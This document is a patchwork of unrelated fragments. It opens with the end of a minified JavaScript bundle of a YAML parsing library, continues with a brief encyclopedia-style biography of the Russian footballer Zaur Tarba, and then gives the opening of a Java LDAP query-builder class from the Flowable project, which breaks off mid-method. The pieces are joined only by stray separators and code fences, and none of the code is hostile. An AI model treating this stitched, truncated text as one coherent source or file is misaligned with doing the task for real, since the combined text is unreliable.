Inline}();module.exports=Inline},{"./Escaper":2,"./Exception/DumpException":3,"./Exception/ParseException":4,"./Exception/ParseMore":5,"./Pattern":8,"./Unescaper":9,"./Utils":10}],7:[function(require,module,exports){var Inline,ParseException,ParseMore,Parser,Pattern,Utils;Inline=require("./Inline");Pattern=require("./Pattern");Utils=require("./Utils");ParseException=require("./Exception/ParseException");ParseMore=require("./Exception/ParseMore");Parser=function(){Parser.prototype.PATTERN_FOLDED_SCALAR_ALL=new Pattern("^(?:(?<type>![^\\|>]*)\\s+)?(?<separator>\\||>)(?<modifiers>\\+|\\-|\\d+|\\+\\d+|\\-\\d+|\\d+\\+|\\d+\\-)?(?<comments> +#.*)?$");Parser.prototype.PATTERN_FOLDED_SCALAR_END=new Pattern("(?<separator>\\||>)(?<modifiers>\\+|\\-|\\d+|\\+\\d+|\\-\\d+|\\d+\\+|\\d+\\-)?(?<comments> +#.*)?$");Parser.prototype.PATTERN_SEQUENCE_ITEM=new Pattern("^\\-((?<leadspaces>\\s+)(?<value>.+?))?\\s*$");Parser.prototype.PATTERN_ANCHOR_VALUE=new Pattern("^&(?<ref>[^ ]+) *(?<value>.*)");Parser.prototype.PATTERN_COMPACT_NOTATION=new Pattern("^(?<key>"+Inline.REGEX_QUOTED_STRING+"|[^ '\"\\{\\[].*?) *\\:(\\s+(?<value>.+?))?\\s*$");Parser.prototype.PATTERN_MAPPING_ITEM=new Pattern("^(?<key>"+Inline.REGEX_QUOTED_STRING+"|[^ '\"\\[\\{].*?) *\\:(\\s+(?<value>.+?))?\\s*$");Parser.prototype.PATTERN_DECIMAL=new Pattern("\\d+");Parser.prototype.PATTERN_INDENT_SPACES=new Pattern("^ +");Parser.prototype.PATTERN_TRAILING_LINES=new Pattern("(\n*)$");Parser.prototype.PATTERN_YAML_HEADER=new Pattern("^\\%YAML[: ][\\d\\.]+.*\n","m");Parser.prototype.PATTERN_LEADING_COMMENTS=new Pattern("^(\\#.*?\n)+","m");Parser.prototype.PATTERN_DOCUMENT_MARKER_START=new Pattern("^\\-\\-\\-.*?\n","m");Parser.prototype.PATTERN_DOCUMENT_MARKER_END=new Pattern("^\\.\\.\\.\\s*$","m");Parser.prototype.PATTERN_FOLDED_SCALAR_BY_INDENTATION={};Parser.prototype.CONTEXT_NONE=0;Parser.prototype.CONTEXT_SEQUENCE=1;Parser.prototype.CONTEXT_MAPPING=2;function Parser(offset){this.offset=offset!=null?offset:0;this.lines=[];this.currentLineNb=-1;this.currentLine="";this.refs={}}Parser.prototype.parse=function(value,exceptionOnInvalidType,objectDecoder){var alias,allowOverwrite,block,c,context,data,e,error,error1,error2,first,i,indent,isRef,j,k,key,l,lastKey,len,len1,len2,len3,lineCount,m,matches,mergeNode,n,name,parsed,parsedItem,parser,ref,ref1,ref2,refName,refValue,val,values;if(exceptionOnInvalidType==null){exceptionOnInvalidType=false}if(objectDecoder==null){objectDecoder=null}this.currentLineNb=-1;this.currentLine="";this.lines=this.cleanup(value).split("\n");data=null;context=this.CONTEXT_NONE;allowOverwrite=false;while(this.moveToNextLine()){if(this.isCurrentLineEmpty()){continue}if("\t"===this.currentLine[0]){throw new ParseException("A YAML file cannot contain tabs as indentation.",this.getRealCurrentLineNb()+1,this.currentLine)}isRef=mergeNode=false;if(values=this.PATTERN_SEQUENCE_ITEM.exec(this.currentLine)){if(this.CONTEXT_MAPPING===context){throw new ParseException("You cannot define a sequence item when in a mapping")}context=this.CONTEXT_SEQUENCE;if(data==null){data=[]}if(values.value!=null&&(matches=this.PATTERN_ANCHOR_VALUE.exec(values.value))){isRef=matches.ref;values.value=matches.value}if(!(values.value!=null)||""===Utils.trim(values.value," ")||Utils.ltrim(values.value," ").indexOf("#")===0){if(this.currentLineNb<this.lines.length-1&&!this.isNextLineUnIndentedCollection()){c=this.getRealCurrentLineNb()+1;parser=new Parser(c);parser.refs=this.refs;data.push(parser.parse(this.getNextEmbedBlock(null,true),exceptionOnInvalidType,objectDecoder))}else{data.push(null)}}else{if(((ref=values.leadspaces)!=null?ref.length:void 0)&&(matches=this.PATTERN_COMPACT_NOTATION.exec(values.value))){c=this.getRealCurrentLineNb();parser=new Parser(c);parser.refs=this.refs;block=values.value;indent=this.getCurrentLineIndentation();if(this.isNextLineIndented(false)){block+="\n"+this.getNextEmbedBlock(indent+values.leadspaces.length+1,true)}data.push(parser.parse(block,exceptionOnInvalidType,objectDecoder))}else{data.push(this.parseValue(values.value,exceptionOnInvalidType,objectDecoder))}}}else if((values=this.PATTERN_MAPPING_ITEM.exec(this.currentLine))&&values.key.indexOf(" #")===-1){if(this.CONTEXT_SEQUENCE===context){throw new ParseException("You cannot define a mapping item when in a sequence")}context=this.CONTEXT_MAPPING;if(data==null){data={}}Inline.configure(exceptionOnInvalidType,objectDecoder);try{key=Inline.parseScalar(values.key)}catch(error){e=error;e.parsedLine=this.getRealCurrentLineNb()+1;e.snippet=this.currentLine;throw e}if("<<"===key){mergeNode=true;allowOverwrite=true;if(((ref1=values.value)!=null?ref1.indexOf("*"):void 0)===0){refName=values.value.slice(1);if(this.refs[refName]==null){throw new ParseException('Reference "'+refName+'" does not exist.',this.getRealCurrentLineNb()+1,this.currentLine)}refValue=this.refs[refName];if(typeof refValue!=="object"){throw new ParseException("YAML merge keys used with a scalar value instead of an object.",this.getRealCurrentLineNb()+1,this.currentLine)}if(refValue instanceof Array){for(i=j=0,len=refValue.length;j<len;i=++j){value=refValue[i];if(data[name=String(i)]==null){data[name]=value}}}else{for(key in refValue){value=refValue[key];if(data[key]==null){data[key]=value}}}}else{if(values.value!=null&&values.value!==""){value=values.value}else{value=this.getNextEmbedBlock()}c=this.getRealCurrentLineNb()+1;parser=new Parser(c);parser.refs=this.refs;parsed=parser.parse(value,exceptionOnInvalidType);if(typeof parsed!=="object"){throw new ParseException("YAML merge keys used with a scalar value instead of an object.",this.getRealCurrentLineNb()+1,this.currentLine)}if(parsed instanceof Array){for(l=0,len1=parsed.length;l<len1;l++){parsedItem=parsed[l];if(typeof parsedItem!=="object"){throw new ParseException("Merge items must be objects.",this.getRealCurrentLineNb()+1,parsedItem)}if(parsedItem instanceof Array){for(i=m=0,len2=parsedItem.length;m<len2;i=++m){value=parsedItem[i];k=String(i);if(!data.hasOwnProperty(k)){data[k]=value}}}else{for(key in parsedItem){value=parsedItem[key];if(!data.hasOwnProperty(key)){data[key]=value}}}}}else{for(key in parsed){value=parsed[key];if(!data.hasOwnProperty(key)){data[key]=value}}}}}else if(values.value!=null&&(matches=this.PATTERN_ANCHOR_VALUE.exec(values.value))){isRef=matches.ref;values.value=matches.value}if(mergeNode){}else if(!(values.value!=null)||""===Utils.trim(values.value," ")||Utils.ltrim(values.value," ").indexOf("#")===0){if(!this.isNextLineIndented()&&!this.isNextLineUnIndentedCollection()){if(allowOverwrite||data[key]===void 0){data[key]=null}}else{c=this.getRealCurrentLineNb()+1;parser=new Parser(c);parser.refs=this.refs;val=parser.parse(this.getNextEmbedBlock(),exceptionOnInvalidType,objectDecoder);if(allowOverwrite||data[key]===void 0){data[key]=val}}}else{val=this.parseValue(values.value,exceptionOnInvalidType,objectDecoder);if(allowOverwrite||data[key]===void 0){data[key]=val}}}else{lineCount=this.lines.length;if(1===lineCount||2===lineCount&&Utils.isEmpty(this.lines[1])){try{value=Inline.parse(this.lines[0],exceptionOnInvalidType,objectDecoder)}catch(error1){e=error1;e.parsedLine=this.getRealCurrentLineNb()+1;e.snippet=this.currentLine;throw e}if(typeof value==="object"){if(value instanceof Array){first=value[0]}else{for(key in value){first=value[key];break}}if(typeof first==="string"&&first.indexOf("*")===0){data=[];for(n=0,len3=value.length;n<len3;n++){alias=value[n];data.push(this.refs[alias.slice(1)])}value=data}}return value}else if((ref2=Utils.ltrim(value).charAt(0))==="["||ref2==="{"){try{return Inline.parse(value,exceptionOnInvalidType,objectDecoder)}catch(error2){e=error2;e.parsedLine=this.getRealCurrentLineNb()+1;e.snippet=this.currentLine;throw e}}throw new ParseException("Unable to parse.",this.getRealCurrentLineNb()+1,this.currentLine)}if(isRef){if(data instanceof Array){this.refs[isRef]=data[data.length-1]}else{lastKey=null;for(key in data){lastKey=key}this.refs[isRef]=data[lastKey]}}}if(Utils.isEmpty(data)){return null}else{return data}};Parser.prototype.getRealCurrentLineNb=function(){return this.currentLineNb+this.offset};Parser.prototype.getCurrentLineIndentation=function(){return this.currentLine.length-Utils.ltrim(this.currentLine," ").length};Parser.prototype.getNextEmbedBlock=function(indentation,includeUnindentedCollection){var data,indent,isItUnindentedCollection,newIndent,removeComments,removeCommentsPattern,unindentedEmbedBlock;if(indentation==null){indentation=null}if(includeUnindentedCollection==null){includeUnindentedCollection=false}this.moveToNextLine();if(indentation==null){newIndent=this.getCurrentLineIndentation();unindentedEmbedBlock=this.isStringUnIndentedCollectionItem(this.currentLine);if(!this.isCurrentLineEmpty()&&0===newIndent&&!unindentedEmbedBlock){throw new ParseException("Indentation problem.",this.getRealCurrentLineNb()+1,this.currentLine)}}else{newIndent=indentation}data=[this.currentLine.slice(newIndent)];if(!includeUnindentedCollection){isItUnindentedCollection=this.isStringUnIndentedCollectionItem(this.currentLine)}removeCommentsPattern=this.PATTERN_FOLDED_SCALAR_END;removeComments=!removeCommentsPattern.test(this.currentLine);while(this.moveToNextLine()){indent=this.getCurrentLineIndentation();if(indent===newIndent){removeComments=!removeCommentsPattern.test(this.currentLine)}if(removeComments&&this.isCurrentLineComment()){continue}if(this.isCurrentLineBlank()){data.push(this.currentLine.slice(newIndent));continue}if(isItUnindentedCollection&&!this.isStringUnIndentedCollectionItem(this.currentLine)&&indent===newIndent){this.moveToPreviousLine();break}if(indent>=newIndent){data.push(this.currentLine.slice(newIndent))}else if(Utils.ltrim(this.currentLine).charAt(0)==="#"){}else if(0===indent){this.moveToPreviousLine();break}else{throw new ParseException("Indentation problem.",this.getRealCurrentLineNb()+1,this.currentLine)}}return data.join("\n")};Parser.prototype.moveToNextLine=function(){if(this.currentLineNb>=this.lines.length-1){return false}this.currentLine=this.lines[++this.currentLineNb];return true};Parser.prototype.moveToPreviousLine=function(){this.currentLine=this.lines[--this.currentLineNb]};Parser.prototype.parseValue=function(value,exceptionOnInvalidType,objectDecoder){var e,error,foldedIndent,matches,modifiers,pos,ref,ref1,val;if(0===value.indexOf("*")){pos=value.indexOf("#");if(pos!==-1){value=value.substr(1,pos-2)}else{value=value.slice(1)}if(this.refs[value]===void 0){throw new ParseException('Reference "'+value+'" does not exist.',this.currentLine)}return this.refs[value]}if(matches=this.PATTERN_FOLDED_SCALAR_ALL.exec(value)){modifiers=(ref=matches.modifiers)!=null?ref:"";foldedIndent=Math.abs(parseInt(modifiers));if(isNaN(foldedIndent)){foldedIndent=0}val=this.parseFoldedScalar(matches.separator,this.PATTERN_DECIMAL.replace(modifiers,""),foldedIndent);if(matches.type!=null){Inline.configure(exceptionOnInvalidType,objectDecoder);return Inline.parseScalar(matches.type+" "+val)}else{return val}}if((ref1=value.charAt(0))==="["||ref1==="{"||ref1==='"'||ref1==="'"){while(true){try{return Inline.parse(value,exceptionOnInvalidType,objectDecoder)}catch(error){e=error;if(e instanceof ParseMore&&this.moveToNextLine()){value+="\n"+Utils.trim(this.currentLine," ")}else{e.parsedLine=this.getRealCurrentLineNb()+1;e.snippet=this.currentLine;throw e}}}}else{if(this.isNextLineIndented()){value+="\n"+this.getNextEmbedBlock()}return Inline.parse(value,exceptionOnInvalidType,objectDecoder)}};Parser.prototype.parseFoldedScalar=function(separator,indicator,indentation){var isCurrentLineBlank,j,len,line,matches,newText,notEOF,pattern,ref,text;if(indicator==null){indicator=""}if(indentation==null){indentation=0}notEOF=this.moveToNextLine();if(!notEOF){return""}isCurrentLineBlank=this.isCurrentLineBlank();text="";while(notEOF&&isCurrentLineBlank){if(notEOF=this.moveToNextLine()){text+="\n";isCurrentLineBlank=this.isCurrentLineBlank()}}if(0===indentation){if(matches=this.PATTERN_INDENT_SPACES.exec(this.currentLine)){indentation=matches[0].length}}if(indentation>0){pattern=this.PATTERN_FOLDED_SCALAR_BY_INDENTATION[indentation];if(pattern==null){pattern=new Pattern("^ {"+indentation+"}(.*)$");Parser.prototype.PATTERN_FOLDED_SCALAR_BY_INDENTATION[indentation]=pattern}while(notEOF&&(isCurrentLineBlank||(matches=pattern.exec(this.currentLine)))){if(isCurrentLineBlank){text+=this.currentLine.slice(indentation)}else{text+=matches[1]}if(notEOF=this.moveToNextLine()){text+="\n";isCurrentLineBlank=this.isCurrentLineBlank()}}}else if(notEOF){text+="\n"}if(notEOF){this.moveToPreviousLine()}if(">"===separator){newText="";ref=text.split("\n");for(j=0,len=ref.length;j<len;j++){line=ref[j];if(line.length===0||line.charAt(0)===" "){newText=Utils.rtrim(newText," ")+line+"\n"}else{newText+=line+" "}}text=newText}if("+"!==indicator){text=Utils.rtrim(text)}if(""===indicator){text=this.PATTERN_TRAILING_LINES.replace(text,"\n")}else if("-"===indicator){text=this.PATTERN_TRAILING_LINES.replace(text,"")}return text};Parser.prototype.isNextLineIndented=function(ignoreComments){var EOF,currentIndentation,ret;if(ignoreComments==null){ignoreComments=true}currentIndentation=this.getCurrentLineIndentation();EOF=!this.moveToNextLine();if(ignoreComments){while(!EOF&&this.isCurrentLineEmpty()){EOF=!this.moveToNextLine()}}else{while(!EOF&&this.isCurrentLineBlank()){EOF=!this.moveToNextLine()}}if(EOF){return false}ret=false;if(this.getCurrentLineIndentation()>currentIndentation){ret=true}this.moveToPreviousLine();return ret};Parser.prototype.isCurrentLineEmpty=function(){var trimmedLine;trimmedLine=Utils.trim(this.currentLine," ");return trimmedLine.length===0||trimmedLine.charAt(0)==="#"};Parser.prototype.isCurrentLineBlank=function(){return""===Utils.trim(this.currentLine," ")};Parser.prototype.isCurrentLineComment=function(){var ltrimmedLine;ltrimmedLine=Utils.ltrim(this.currentLine," ");return ltrimmedLine.charAt(0)==="#"};Parser.prototype.cleanup=function(value){var count,i,indent,j,l,len,len1,line,lines,ref,ref1,ref2,smallestIndent,trimmedValue;if(value.indexOf("\r")!==-1){value=value.split("\r\n").join("\n").split("\r").join("\n")}count=0;ref=this.PATTERN_YAML_HEADER.replaceAll(value,""),value=ref[0],count=ref[1];this.offset+=count;ref1=this.PATTERN_LEADING_COMMENTS.replaceAll(value,"",1),trimmedValue=ref1[0],count=ref1[1];if(count===1){this.offset+=Utils.subStrCount(value,"\n")-Utils.subStrCount(trimmedValue,"\n");value=trimmedValue}ref2=this.PATTERN_DOCUMENT_MARKER_START.replaceAll(value,"",1),trimmedValue=ref2[0],count=ref2[1];if(count===1){this.offset+=Utils.subStrCount(value,"\n")-Utils.subStrCount(trimmedValue,"\n");value=trimmedValue;value=this.PATTERN_DOCUMENT_MARKER_END.replace(value,"")}lines=value.split("\n");smallestIndent=-1;for(j=0,len=lines.length;j<len;j++){line=lines[j];if(Utils.trim(line," ").length===0){continue}indent=line.length-Utils.ltrim(line).length;if(smallestIndent===-1||indent<smallestIndent){smallestIndent=indent}}if(smallestIndent>0){for(i=l=0,len1=lines.length;l<len1;i=++l){line=lines[i];lines[i]=line.slice(smallestIndent)}value=lines.join("\n")}return value};Parser.prototype.isNextLineUnIndentedCollection=function(currentIndentation){var notEOF,ret;if(currentIndentation==null){currentIndentation=null}if(currentIndentation==null){currentIndentation=this.getCurrentLineIndentation()}notEOF=this.moveToNextLine();while(notEOF&&this.isCurrentLineEmpty()){notEOF=this.moveToNextLine()}if(false===notEOF){return false}ret=false;if(this.getCurrentLineIndentation()===currentIndentation&&this.isStringUnIndentedCollectionItem(this.currentLine)){ret=true}this.moveToPreviousLine();return ret};Parser.prototype.isStringUnIndentedCollectionItem=function(){return this.currentLine==="-"||this.currentLine.slice(0,2)==="- "};return Parser}();module.exports=Parser},{"./Exception/ParseException":4,"./Exception/ParseMore":5,"./Inline":6,"./Pattern":8,"./Utils":10}],8:[function(require,module,exports){var Pattern;Pattern=function(){Pattern.prototype.regex=null;Pattern.prototype.rawRegex=null;Pattern.prototype.cleanedRegex=null;Pattern.prototype.mapping=null;function Pattern(rawRegex,modifiers){var _char,capturingBracketNumber,cleanedRegex,i,len,mapping,name,part,subChar;if(modifiers==null){modifiers=""}cleanedRegex="";len=rawRegex.length;mapping=null;capturingBracketNumber=0;i=0;while(i<len){_char=rawRegex.charAt(i);if(_char==="\\"){cleanedRegex+=rawRegex.slice(i,+(i+1)+1||9e9);i++}else if(_char==="("){if(i<len-2){part=rawRegex.slice(i,+(i+2)+1||9e9);if(part==="(?:"){i+=2;cleanedRegex+=part}else if(part==="(?<"){capturingBracketNumber++;i+=2;name="";while(i+1<len){subChar=rawRegex.charAt(i+1);if(subChar===">"){cleanedRegex+="(";i++;if(name.length>0){if(mapping==null){mapping={}}mapping[name]=capturingBracketNumber}break}else{name+=subChar}i++}}else{cleanedRegex+=_char;capturingBracketNumber++}}else{cleanedRegex+=_char}}else{cleanedRegex+=_char}i++}this.rawRegex=rawRegex;this.cleanedRegex=cleanedRegex;this.regex=new RegExp(this.cleanedRegex,"g"+modifiers.replace("g",""));this.mapping=mapping}Pattern.prototype.exec=function(str){var index,matches,name,ref;this.regex.lastIndex=0;matches=this.regex.exec(str);if(matches==null){return null}if(this.mapping!=null){ref=this.mapping;for(name in ref){index=ref[name];matches[name]=matches[index]}}return matches};Pattern.prototype.test=function(str){this.regex.lastIndex=0;return this.regex.test(str)};Pattern.prototype.replace=function(str,replacement){this.regex.lastIndex=0;return str.replace(this.regex,replacement)};Pattern.prototype.replaceAll=function(str,replacement,limit){var count;if(limit==null){limit=0}this.regex.lastIndex=0;count=0;while(this.regex.test(str)&&(limit===0||count<limit)){this.regex.lastIndex=0;str=str.replace(this.regex,replacement);count++}return[str,count]};return Pattern}();module.exports=Pattern},{}],9:[function(require,module,exports){var Pattern,Unescaper,Utils;Utils=require("./Utils");Pattern=require("./Pattern");Unescaper=function(){function Unescaper(){}Unescaper.PATTERN_ESCAPED_CHARACTER=new Pattern('\\\\([0abt\tnvfre "\\/\\\\N_LP]|x[0-9a-fA-F]{2}|u[0-9a-fA-F]{4}|U[0-9a-fA-F]{8})');Unescaper.unescapeSingleQuotedString=function(value){return value.replace(/\'\'/g,"'")};Unescaper.unescapeDoubleQuotedString=function(value){if(this._unescapeCallback==null){this._unescapeCallback=function(_this){return function(str){return _this.unescapeCharacter(str)}}(this)}return this.PATTERN_ESCAPED_CHARACTER.replace(value,this._unescapeCallback)};Unescaper.unescapeCharacter=function(value){var ch;ch=String.fromCharCode;switch(value.charAt(1)){case"0":return ch(0);case"a":return ch(7);case"b":return ch(8);case"t":return"\t";case"\t":return"\t";case"n":return"\n";case"v":return ch(11);case"f":return ch(12);case"r":return ch(13);case"e":return ch(27);case" ":return" ";case'"':return'"';case"/":return"/";case"\\":return"\\";case"N":return ch(133);case"_":return ch(160);case"L":return ch(8232);case"P":return ch(8233);case"x":return Utils.utf8chr(Utils.hexDec(value.substr(2,2)));case"u":return Utils.utf8chr(Utils.hexDec(value.substr(2,4)));case"U":return Utils.utf8chr(Utils.hexDec(value.substr(2,8)));default:return""}};return Unescaper}();module.exports=Unescaper},{"./Pattern":8,"./Utils":10}],10:[function(require,module,exports){var Pattern,Utils,hasProp={}.hasOwnProperty;Pattern=require("./Pattern");Utils=function(){function Utils(){}Utils.REGEX_LEFT_TRIM_BY_CHAR={};Utils.REGEX_RIGHT_TRIM_BY_CHAR={};Utils.REGEX_SPACES=/\s+/g;Utils.REGEX_DIGITS=/^\d+$/;Utils.REGEX_OCTAL=/[^0-7]/gi;Utils.REGEX_HEXADECIMAL=/[^a-f0-9]/gi;Utils.PATTERN_DATE=new Pattern("^"+"(?<year>[0-9][0-9][0-9][0-9])"+"-(?<month>[0-9][0-9]?)"+"-(?<day>[0-9][0-9]?)"+"(?:(?:[Tt]|[ \t]+)"+"(?<hour>[0-9][0-9]?)"+":(?<minute>[0-9][0-9])"+":(?<second>[0-9][0-9])"+"(?:.(?<fraction>[0-9]*))?"+"(?:[ \t]*(?<tz>Z|(?<tz_sign>[-+])(?<tz_hour>[0-9][0-9]?)"+"(?::(?<tz_minute>[0-9][0-9]))?))?)?"+"$","i");Utils.LOCAL_TIMEZONE_OFFSET=(new Date).getTimezoneOffset()*60*1e3;Utils.trim=function(str,_char){var regexLeft,regexRight;if(_char==null){_char="\\s"}regexLeft=this.REGEX_LEFT_TRIM_BY_CHAR[_char];if(regexLeft==null){this.REGEX_LEFT_TRIM_BY_CHAR[_char]=regexLeft=new RegExp("^"+_char+""+_char+"*")}regexLeft.lastIndex=0;regexRight=this.REGEX_RIGHT_TRIM_BY_CHAR[_char];if(regexRight==null){this.REGEX_RIGHT_TRIM_BY_CHAR[_char]=regexRight=new RegExp(_char+""+_char+"*$")}regexRight.lastIndex=0;return str.replace(regexLeft,"").replace(regexRight,"")};Utils.ltrim=function(str,_char){var regexLeft;if(_char==null){_char="\\s"}regexLeft=this.REGEX_LEFT_TRIM_BY_CHAR[_char];if(regexLeft==null){this.REGEX_LEFT_TRIM_BY_CHAR[_char]=regexLeft=new RegExp("^"+_char+""+_char+"*")}regexLeft.lastIndex=0;return str.replace(regexLeft,"")};Utils.rtrim=function(str,_char){var regexRight;if(_char==null){_char="\\s"}regexRight=this.REGEX_RIGHT_TRIM_BY_CHAR[_char];if(regexRight==null){this.REGEX_RIGHT_TRIM_BY_CHAR[_char]=regexRight=new RegExp(_char+""+_char+"*$")}regexRight.lastIndex=0;return str.replace(regexRight,"")};Utils.isEmpty=function(value){return!value||value===""||value==="0"||value instanceof Array&&value.length===0||this.isEmptyObject(value)};Utils.isEmptyObject=function(value){var k;return value instanceof Object&&function(){var results;results=[];for(k in value){if(!hasProp.call(value,k))continue;results.push(k)}return results}().length===0};Utils.subStrCount=function(string,subString,start,length){var c,i,j,len,ref,sublen;c=0;string=""+string;subString=""+subString;if(start!=null){string=string.slice(start)}if(length!=null){string=string.slice(0,length)}len=string.length;sublen=subString.length;for(i=j=0,ref=len;0<=ref?j<ref:j>ref;i=0<=ref?++j:--j){if(subString===string.slice(i,sublen)){c++;i+=sublen-1}}return c};Utils.isDigits=function(input){this.REGEX_DIGITS.lastIndex=0;return this.REGEX_DIGITS.test(input)};Utils.octDec=function(input){this.REGEX_OCTAL.lastIndex=0;return parseInt((input+"").replace(this.REGEX_OCTAL,""),8)};Utils.hexDec=function(input){this.REGEX_HEXADECIMAL.lastIndex=0;input=this.trim(input);if((input+"").slice(0,2)==="0x"){input=(input+"").slice(2)}return parseInt((input+"").replace(this.REGEX_HEXADECIMAL,""),16)};Utils.utf8chr=function(c){var ch;ch=String.fromCharCode;if(128>(c%=2097152)){return ch(c)}if(2048>c){return ch(192|c>>6)+ch(128|c&63)}if(65536>c){return ch(224|c>>12)+ch(128|c>>6&63)+ch(128|c&63)}return ch(240|c>>18)+ch(128|c>>12&63)+ch(128|c>>6&63)+ch(128|c&63)};Utils.parseBoolean=function(input,strict){var lowerInput;if(strict==null){strict=true}if(typeof input==="string"){lowerInput=input.toLowerCase();if(!strict){if(lowerInput==="no"){return false}}if(lowerInput==="0"){return false}if(lowerInput==="false"){return false}if(lowerInput===""){return false}return true}return!!input};Utils.isNumeric=function(input){this.REGEX_SPACES.lastIndex=0;return typeof input==="number"||typeof input==="string"&&!isNaN(input)&&input.replace(this.REGEX_SPACES,"")!==""};Utils.stringToDate=function(str){var date,day,fraction,hour,info,minute,month,second,tz_hour,tz_minute,tz_offset,year;if(!(str!=null?str.length:void 0)){return null}info=this.PATTERN_DATE.exec(str);if(!info){return null}year=parseInt(info.year,10);month=parseInt(info.month,10)-1;day=parseInt(info.day,10);if(info.hour==null){date=new Date(Date.UTC(year,month,day));return date}hour=parseInt(info.hour,10);minute=parseInt(info.minute,10);second=parseInt(info.second,10);if(info.fraction!=null){fraction=info.fraction.slice(0,3);while(fraction.length<3){fraction+="0"}fraction=parseInt(fraction,10)}else{fraction=0}if(info.tz!=null){tz_hour=parseInt(info.tz_hour,10);if(info.tz_minute!=null){tz_minute=parseInt(info.tz_minute,10)}else{tz_minute=0}tz_offset=(tz_hour*60+tz_minute)*6e4;if("-"===info.tz_sign){tz_offset*=-1}}date=new Date(Date.UTC(year,month,day,hour,minute,second,fraction));if(tz_offset){date.setTime(date.getTime()-tz_offset)}return date};Utils.strRepeat=function(str,number){var i,res;res="";i=0;while(i<number){res+=str;i++}return res};Utils.getStringFromFile=function(path,callback){var data,fs,j,len1,name,ref,req,xhr;if(callback==null){callback=null}xhr=null;if(typeof window!=="undefined"&&window!==null){if(window.XMLHttpRequest){xhr=new XMLHttpRequest}else if(window.ActiveXObject){ref=["Msxml2.XMLHTTP.6.0","Msxml2.XMLHTTP.3.0","Msxml2.XMLHTTP","Microsoft.XMLHTTP"];for(j=0,len1=ref.length;j<len1;j++){name=ref[j];try{xhr=new ActiveXObject(name)}catch(undefined){}}}}if(xhr!=null){if(callback!=null){xhr.onreadystatechange=function(){if(xhr.readyState===4){if(xhr.status===200||xhr.status===0){return callback(xhr.responseText)}else{return callback(null)}}};xhr.open("GET",path,true);return xhr.send(null)}else{xhr.open("GET",path,false);xhr.send(null);if(xhr.status===200||xhr.status===0){return xhr.responseText}return null}}else{req=require;fs=req("fs");if(callback!=null){return fs.readFile(path,function(err,data){if(err){return callback(null)}else{return callback(String(data))}})}else{data=fs.readFileSync(path);if(data!=null){return String(data)}return null}}};return Utils}();module.exports=Utils},{"./Pattern":8}],11:[function(require,module,exports){var Dumper,Parser,Utils,Yaml;Parser=require("./Parser");Dumper=require("./Dumper");Utils=require("./Utils");Yaml=function(){function Yaml(){}Yaml.parse=function(input,exceptionOnInvalidType,objectDecoder){if(exceptionOnInvalidType==null){exceptionOnInvalidType=false}if(objectDecoder==null){objectDecoder=null}return(new Parser).parse(input,exceptionOnInvalidType,objectDecoder)};Yaml.parseFile=function(path,callback,exceptionOnInvalidType,objectDecoder){var input;if(callback==null){callback=null}if(exceptionOnInvalidType==null){exceptionOnInvalidType=false}if(objectDecoder==null){objectDecoder=null}if(callback!=null){return Utils.getStringFromFile(path,function(_this){return function(input){var result;result=null;if(input!=null){result=_this.parse(input,exceptionOnInvalidType,objectDecoder)}callback(result)}}(this))}else{input=Utils.getStringFromFile(path);if(input!=null){return this.parse(input,exceptionOnInvalidType,objectDecoder)}return null}};Yaml.dump=function(input,inline,indent,exceptionOnInvalidType,objectEncoder){var yaml;if(inline==null){inline=2}if(indent==null){indent=4}if(exceptionOnInvalidType==null){exceptionOnInvalidType=false}if(objectEncoder==null){objectEncoder=null}yaml=new Dumper;yaml.indentation=indent;return yaml.dump(input,inline,0,exceptionOnInvalidType,objectEncoder)};Yaml.stringify=function(input,inline,indent,exceptionOnInvalidType,objectEncoder){return this.dump(input,inline,indent,exceptionOnInvalidType,objectEncoder)};Yaml.load=function(path,callback,exceptionOnInvalidType,objectDecoder){return this.parseFile(path,callback,exceptionOnInvalidType,objectDecoder)};return Yaml}();if(typeof window!=="undefined"&&window!==null){window.YAML=Yaml}if(typeof window==="undefined"||window===null){this.YAML=Yaml}module.exports=Yaml},{"./Dumper":1,"./Parser":7,"./Utils":10}]},{},[11]);
```
|
Zaur Saidovich Tarba (; born 14 May 2003) is a Russian football player of Abkhazian descent who plays for FC Alania Vladikavkaz.
Club career
He made his debut in the Russian Premier League for PFC CSKA Moscow on 15 May 2022 in a game against FC Krasnodar.
On 18 August 2022, Tarba moved to FC Alania Vladikavkaz.
Personal life
His father Said Tarba also played football professionally. His brother Lev Tarba plays for FC Nart Sukhum in Abkhazian Premier League.
Career statistics
References
External links
2003 births
Russian people of Abkhazian descent
Living people
Russian men's footballers
Men's association football midfielders
PFC CSKA Moscow players
Russian Premier League players
Russian First League players
FC Spartak Vladikavkaz players
|
```java
*
* path_to_url
*
* Unless required by applicable law or agreed to in writing, software
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
*/
package org.flowable.ldap;
import java.text.MessageFormat;
import javax.naming.NamingEnumeration;
import javax.naming.NamingException;
import javax.naming.directory.InitialDirContext;
import javax.naming.directory.SearchControls;
import javax.naming.directory.SearchResult;
import javax.naming.ldap.Rdn;
import org.flowable.common.engine.api.FlowableIllegalArgumentException;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
/**
* Class with overridable methods that are called when doing the calls to the ldap system. You can extend this class and plug it into the {@link LDAPConfiguration} if the default queries are inadequate
* for your use case.
*
* @author Joram Barrez
*/
public class LDAPQueryBuilder {
protected static final Logger LOGGER = LoggerFactory.getLogger(LDAPQueryBuilder.class);
public String buildQueryByUserId(LDAPConfiguration ldapConfigurator, String userId) {
String searchExpression = null;
if (ldapConfigurator.getQueryUserByUserId() != null) {
searchExpression = MessageFormat.format(ldapConfigurator.getQueryUserByUserId(), userId);
} else {
searchExpression = userId;
}
return searchExpression;
}
public String buildQueryGroupsForUser(final LDAPConfiguration ldapConfigurator, final String userId) {
String searchExpression = null;
if (ldapConfigurator.getQueryGroupsForUser() != null) {
// Fetch the dn of the user
LDAPTemplate ldapTemplate = new LDAPTemplate(ldapConfigurator);
String userDn = ldapTemplate.execute(new LDAPCallBack<String>() {
@Override
public String executeInContext(InitialDirContext initialDirContext) {
String userDnSearch = buildQueryByUserId(ldapConfigurator, userId);
try {
String baseDn = ldapConfigurator.getUserBaseDn() != null ? ldapConfigurator.getUserBaseDn() : ldapConfigurator.getBaseDn();
NamingEnumeration<?> namingEnum = initialDirContext.search(baseDn, userDnSearch, createSearchControls(ldapConfigurator));
while (namingEnum.hasMore()) { // Should be only one
SearchResult result = (SearchResult) namingEnum.next();
return result.getNameInNamespace();
}
namingEnum.close();
} catch (NamingException e) {
LOGGER.debug("Could not find user dn : {}", e.getMessage(), e);
}
return null;
}
});
